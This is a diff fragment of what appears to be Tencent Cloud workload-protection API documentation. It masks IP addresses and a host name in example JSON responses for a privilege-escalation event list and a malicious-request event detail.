+ "output": "{\n \"Response\": {\n \"TotalCount\": 22,\n \"List\": [\n {\n \"Pid\": 1,\n \"MachineExtraInfo\": {\n \"HostName\": \"demo-instance\",\n \"InstanceID\": \"ins-1002\",\n \"NetworkName\": \"vpc-1002\",\n \"NetworkType\": 1,\n \"PrivateIP\": \"1.*.*.1\",\n \"WanIP\": \"1.*.*.1\"\n },\n \"Id\": 22,\n \"Uuid\": \"cf59e3c0-b1cc-****-baac-525400ca96ee\",\n \"Quuid\": \"b9821ff5-75f0-****-b21f-13c8d36a725c\",\n \"Hostip\": \"10.*.*.125\",\n \"ProcessName\": \"nginx\",\n \"FullPath\": \"/home/ubuntu/a\",\n \"CmdLine\": \"./a \",\n \"UserName\": \"root\",\n \"UserGroup\": \"ubuntu\",\n \"ProcFilePrivilege\": \"-rwsr-xr-x\",\n \"ParentProcName\": \"bash\",\n \"ParentProcUser\": \"ubuntu\",\n \"ParentProcGroup\": \"ubuntu\",\n \"ParentProcPath\": \"/bin/bash\",\n \"ProcTree\": \"a(root),bash(ubuntu),sshd(ubuntu),sshd(root),sshd(root),init(root)\",\n \"Status\": 0,\n \"CreateTime\": \"2019-08-15 15:27:52\",\n \"MachineName\": \"测试机_Linux_4\"\n }\n ],\n \"RequestId\": \"bd9aa8c8-36b6-4991-8e42-d08e80313616\"\n }\n}",
1990
1990
  "title": "获取本地提权事件列表"
1991
1991
  }
1992
1992
  ],
@@ -2210,7 +2210,7 @@
2210
2210
  {
2211
2211
  "document": "",
2212
2212
  "input": "POST / HTTP/1.1\nHost: cwp.tencentcloudapi.com\nContent-Type: application/json\nX-TC-Action: DescribeRiskDnsEventInfo\n<公共请求参数>\n\n{\n \"Id\": 1\n}",
2213
- "output": "{\n \"Response\": {\n \"Info\": {\n \"Id\": 10368,\n \"PolicyId\": 0,\n \"PolicyType\": -1,\n \"PolicyName\": \"policy1\",\n \"ProtectLevel\": 2,\n \"HostId\": \"02db9a21-78fe-4a4c-b96f-a11bf819a962\",\n \"HostName\": \"v_llzlu恶意请求\",\n \"HostIp\": \"192.168.111.28\",\n \"WanIp\": \"43.138.255.181\",\n \"HostStatus\": \"OFFLINE\",\n \"AgentId\": \"02db9a21-78fe-4a4c-b96f-a11bf819a962\",\n \"Domain\": \"183.60.95.201\",\n \"Tags\": [],\n \"AccessCount\": 1,\n \"ThreatDesc\": \"发现主机存在访问恶意IP/域名的行为,您的主机可能已经失陷。\\n恶意IP/域名可能是黑客的远控服务器、恶意软件下载源、矿池地址等。\",\n \"SuggestSolution\": \"1.检查恶意进程及非法端口,删除可疑的启动项和定时任务;\\n2.隔离或者删除相关的木马文件;\\n3.对系统进行风险排查,并进行安全加固,详情可参考如下链接: \\n【Linux】https://cloud.tencent.com/document/product/296/9604 \\n【Windows】https://cloud.tencent.com/document/product/296/9605\",\n \"ReferenceLink\": \"link\",\n \"HandleStatus\": 6,\n \"Pid\": 1387042,\n \"ProcessName\": \"/usr/bin/ping\",\n \"ProcessMd5\": \"7f42e35e3065eaa9a58b89e249e8cbc7\",\n \"CmdLine\": \"ping 183.60.95.201 \",\n \"FirstTime\": \"2022-09-19 14:57:23\",\n \"LastTime\": \"2022-09-19 14:57:23\"\n },\n \"RequestId\": \"083fae4c-ac2c-4e41-ad88-b4420c9fce7c\"\n }\n}",
2213
+ "output": "{\n \"Response\": {\n \"Info\": {\n \"Id\": 10368,\n \"PolicyId\": 0,\n \"PolicyType\": -1,\n \"PolicyName\": \"policy1\",\n \"ProtectLevel\": 2,\n \"HostId\": \"02db9a21-78fe-4a4c-b96f-a11bf819a962\",\n \"HostName\": \"恶意请求\",\n \"HostIp\": \"192.*.*.28\",\n \"WanIp\": \"43.*.*.181\",\n \"HostStatus\": \"OFFLINE\",\n \"AgentId\": \"02db9a21-78fe-4a4c-b96f-a11bf819a962\",\n \"Domain\": \"183.*.*.201\",\n \"Tags\": [],\n \"AccessCount\": 1,\n \"ThreatDesc\": \"发现主机存在访问恶意IP/域名的行为,您的主机可能已经失陷。\\n恶意IP/域名可能是黑客的远控服务器、恶意软件下载源、矿池地址等。\",\n \"SuggestSolution\": \"1.检查恶意进程及非法端口,删除可疑的启动项和定时任务;\\n2.隔离或者删除相关的木马文件;\\n3.对系统进行风险排查,并进行安全加固,详情可参考如下链接: \\n【Linux】https://cloud.tencent.com/document/product/296/9604 \\n【Windows】https://cloud.tencent.com/document/product/296/9605\",\n \"ReferenceLink\": \"link\",\n \"HandleStatus\": 6,\n \"Pid\": 1387042,\n \"ProcessName\": \"/usr/bin/ping\",\n \"ProcessMd5\": \"7f42e35e3065eaa9a58b89e249e8cbc7\",\n \"CmdLine\": \"ping 183.*.*.201 \",\n \"FirstTime\": \"2022-09-19 14:57:23\",\n \"LastTime\": \"2022-09-19 14:57:23\"\n },\n \"RequestId\": \"083fae4c-ac2c-4e41-ad88-b4420c9fce7c\"\n }\n}",
2214
2214
  "title": "查询恶意请求事件详情"
2215
2215
  }
2216
2216
  ],